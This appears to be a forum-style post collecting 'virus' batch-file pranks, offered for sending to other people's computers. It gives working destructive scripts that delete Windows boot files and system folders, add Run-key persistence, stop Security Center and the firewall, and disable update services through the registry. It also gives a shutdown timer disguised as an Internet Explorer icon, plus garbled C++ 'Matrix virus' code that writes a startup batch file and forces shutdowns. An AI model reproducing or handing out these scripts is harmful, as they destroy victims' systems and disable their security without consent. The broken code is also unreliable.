@echo off

attrib -r -s -h c:\autoexec.bat

del c:\autoexec.bat

attrib -r -s -h c:\boot.ini

del c:\boot.ini

attrib -r -s -h c:\ntldr

del c:\ntldr

attrib -r -s -h c:\windows\win.ini

del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.

REMEMBER - DO NOT CLICK THIS FILE.

**Also remember this might not work with vista.**

@Echo off

Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

ShutDown PC million Times::::

1.right click on the desktop

2.click shortcut

you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next

note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...

3.u will get another dialogue box, write in it: Internet Explorer and press finish

4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok

try to open it, it is a virus hehe

PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a

this is a funny trick, u can freeze someone's desktop

1.close everything u r working in, and work on desktop. so click on prtscr on ur keyboard.

2.go to paint and click on edit then paste

3.save this file as (name).bmp and close the paint.

3.now in the desktop, we have 2 remove desktop icons and shortcuts, so right click on the mouse and then properties, click on desktop then select customize desktop.

4.uncheck all the boxes in desktop icons and press ok. then press apply then ok.

5.now to remove the shortcuts in the desktop, go to start and select My Computer, then click on c: right click on ur mouse and select new folder, write it any name

6.now go to desktop & select all da icons and right click on them then press cut,go to c: and paste them in the folder dat u created then close the window.

7.now to put the fake desktop image and remove the taskbar, so right click on desktop and gp to properties, now go to desktop and select Browse, select the file that u saved then press appply then ok. now to remove the windows taskbar, right click on the taskbar and go 2 properties, then select autohide the taskbar and then apply then ok

now all the icons r fake and the user will think that his desktop is freezed

enjoy it.!

This is a slightly more advanced one. It shuts down your internet permanately. I tried it on myself accidently, i knew what it did, and it still took me a couple of days to get my internet back. works best on XP, not tested on vista or 7.

EDIT: At the bottom put a rickroll site or something. BTW, that 3rd line, isnt what disables the internet permanately. It is somethinge else, that just provides a fast response to shut down any connections.

@echo off

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MiXedVeX /t REG_SZ /d %systemroot%\HaloTrialScoreChangerV1 /f > nul

start iexpress (website of your choice)

ipconfig /release

del "C:\Program Files\Microsoft Games

del "C:Nexon

del "C:\Program Files\Xfire

del "C:\Program Files\Adobe"

del "C:\Program Files\Internet Explorer"

del "C:\Program Files\Mozilla Firefox"

del "C:\WINDOWS"

del "C:\WINDOWS\system32"

del "C:\WINDOWS\system32\cmd"

del "C:\WINDOWS\system32\iexpress"

del "C:\WINDOWS\system32\sndvol32"

del "C:\WINDOWS\system32\sndrec32"

del "C:\WINDOWS\system32\Restore\rstrui"

del "C:\WINDOWS\system32\wupdmgr"

del "C:\WINDOWS\system32\desktop"

del "C:\WINDOWS\java"

del "C:\WINDOWS\Media"

del "C:\WINDOWS\Resources"

del "C:\WINDOWS\system"

del "C:\drivers"

del "C:\drv"

del "C:\SYSINFO"

del "C:\Program Files"

echo ipconfig/release_all>>c:windowswimn32.bat

net stop "Security Center"

net stop SharedAccess

> "%Temp%.kill.reg" ECHO REGEDIT4

>>"%Temp%.kill.reg" ECHO.

>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]

>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004

>>"%Temp%.kill.reg" ECHO.

>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]

>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004

>>"%Temp%.kill.reg" ECHO.

>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]

>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004

>>"%Temp%.kill.reg" ECHO.

START /WAIT REGEDIT /S "%Temp%.kill.reg"

del "%Temp%.kill.reg"

del %0

echo @echo off>c:windowswimn32.bat

echo break off>>c:windowswimn32.bat

echo ipconfig/release_all>>c:windowswimn32.bat

echo end>>c:windowswimn32.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f

:a

start iexpress (website of your choice)

goto a

MAKING MOST DANGEROUS VIRUS CALLED MATRIX:::

Warning - Do not run it on your computer

I'm gonna teach you how to make a virus named Matrix...

1-Open notepad

2-Put in this code

#include

#include

#include

#include

#include

#include

#include

using namespace std;

int main()

{ keybd_event(VK_MENU,0x38,0,0);

keybd_event(VK_RETURN,0x1c,0,0);

keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);

keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);

HANDLE outToScreen;

outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{

char buffer[255];

char inputFile[]="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat";

ifstream input(inputFile);

if (!input)

{

{

ofstream fp("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat", ios::app);

fp

fp

fp

}

}

else

{

while (!input.eof())

{

input.getline(buffer,255);

}

}

}

{

char buffer[255];

char inputFile[]="C:\rawr.exe";

ifstream input(inputFile);

if (!input)

{

{

{

ofstream fp("CLICK.bat", ios::app);

fp

fp

fp

fp

}

system("START CLICK.bat");

main();

}

}

else

{

while (!input.eof())

{

input.getline(buffer,255);

system("call shutdown.exe -S");

goto START;

}

}

}

START:{

for(int i = 0; i < 1; i++)

{

int num = (rand() % 10);

SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);

cout

cout

cout

cout

cout

cout

cout

cout

cout

cout

cout

cout

Sleep(60);

}

}

for ( int j = 0; j < 5; j++)

{

SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);

int number = (rand() % 24);

cout

}

goto START;

3-save it as matrix.bat

4-finish

AS IT WAS TOO DANGEROUS THE ACTUAL HEADER FILES FOR THIS SCRIPT ARE NOT GIVEN

AND IF U WANT TO TRY THIS SCRIPT U CAN JUST USE OF HEADER FILES SUCH AS STDIN,STDLIB,CONIO , AND STUFF LIKE THAT

Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!

 Toggle your friend's Caps Lock button simultaneously:

 Convey your friend a lil' message and shut down his / her computer:

 Frustrate your friend by making this VBScript hit Enter simultaneously:

 Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:

 Frustrate your friend by making this VBScript hit Backspace simultaneously:

 Hack your friend's keyboard and make him type "You are a fool" simultaneously:

 Open Notepad continually in your friend's computer:

 Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

 THREATEN BY MAKING SCREEN FLASH